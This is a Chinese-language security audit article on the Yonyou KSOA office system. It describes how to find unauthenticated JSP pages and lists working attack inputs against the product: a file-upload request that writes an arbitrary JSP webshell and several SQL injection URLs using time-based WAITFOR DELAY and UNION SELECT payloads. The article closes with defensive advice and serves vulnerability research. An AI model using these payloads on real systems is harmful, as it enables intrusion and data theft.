用友ksoa十余处sql注入+审计
字数 1093
更新时间 2025-08-23 01:24:26

用友时空KSOA系统SQL注入漏洞审计与分析

1. 系统概述

用友时空OA(KSOA)是用友公司开发的一款经典OA产品,采用JSP+Servlet架构模式,而非现代Java框架。该系统在企业中应用较广,存在多处安全漏洞。

2. 初始访问方法

2.1 文件上传漏洞利用

通过以下方式可上传Webshell:

POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=gmtxj.jsp HTTP/1.1
Host: <% out.println("hello"); %>

此漏洞允许攻击者上传任意JSP文件到服务器,获取系统控制权并下载源码。

3. 路由分析技巧

KSOA系统采用传统JSP+Servlet模式,审计时可采用以下方法:

  1. 直接访问JSP文件路径+参数即可调用功能代码
  2. 无需复杂路由分析,简化了漏洞查找过程

4. 鉴权机制分析

系统采用包含鉴权文件的方式进行权限控制:

  • 有鉴权的页面会包含common.jsp文件
  • 无鉴权的页面则缺少此包含

这种设计使得未授权访问检测变得简单,只需检查页面是否包含鉴权文件即可。

5. 静态代码审计方法

5.1 推荐工具

使用Agent Ransack工具进行高效审计,该工具支持:

  • 正则表达式匹配
  • 字符检测
  • 文件路径限定
  • 直观的GUI界面

5.2 关键搜索模式

查找未授权访问点的搜索条件:

NOT (<%@ include file="common.jsp"%>) AND NOT (session)

此搜索条件可找出既无鉴权文件包含又无session检查的页面。

6. SQL注入漏洞挖掘

6.1 审计策略

  1. 在未授权JSP脚本中查找SQL语句
  2. 重点关注直接拼接用户输入的SQL查询
  3. 优先检查前台功能(响应更快)

6.2 已公开的SQL注入点

以下是一些已公开的SQL注入路径示例:

  1. 基于时间盲注:

    http://ip:port/xxx/kp/PreviewKPQT.jsp?KPQTID=1&KPQType=db_name(),2,3+--+
    http://ip:port/xxx/fillKP.jsp?kp_djbh=1'+IF(LEN(db_name())>4)+WAITFOR%20DELAY%20'0:0:2'+--+
    
  2. 基于联合查询:

    http://ip:port/xxx/PrintZPYG.jsp?zpjhid=1'+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13,14+--+
    http://ip:port/xxx/PrintZPFB.jsp?zpfbbh=1'+union+select+1,2,3,4,db_name()+--+
    http://ip:port/xxx/PrintZPZP.jsp?zpshqid=1'+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13+--+
    

6.3 未公开的SQL注入点

根据分析,系统中还存在十余处未公开的SQL注入漏洞,主要集中在:

  • 各种Print开头的JSP页面
  • 涉及单据编号、报表编号等参数
  • 使用直接参数拼接的查询

7. 高效审计技巧

  1. 快速筛选:使用工具快速定位未授权页面
  2. SQL语句识别:在未授权页面中搜索StatementexecuteQuery等关键词
  3. 参数追踪:检查用户输入是否未经处理直接拼接到SQL中
  4. 批量验证:对疑似注入点进行批量测试

8. 防御建议

针对KSOA系统的防护措施:

  1. 更新到最新版本,应用官方补丁
  2. 对用户输入进行严格过滤和参数化查询
  3. 添加全局的权限验证机制
  4. 限制文件上传类型和路径
  5. 部署WAF防护SQL注入攻击

9. 总结

用友时空KSOA系统由于采用传统的JSP+Servlet架构和简单的鉴权方式,存在多处安全漏洞。通过系统化的审计方法,可以快速发现SQL注入等安全缺陷。本文介绍的技术不仅适用于KSOA系统,也可应用于类似架构的其他Java Web应用的安全审计。

相似文章
相似文章
 全屏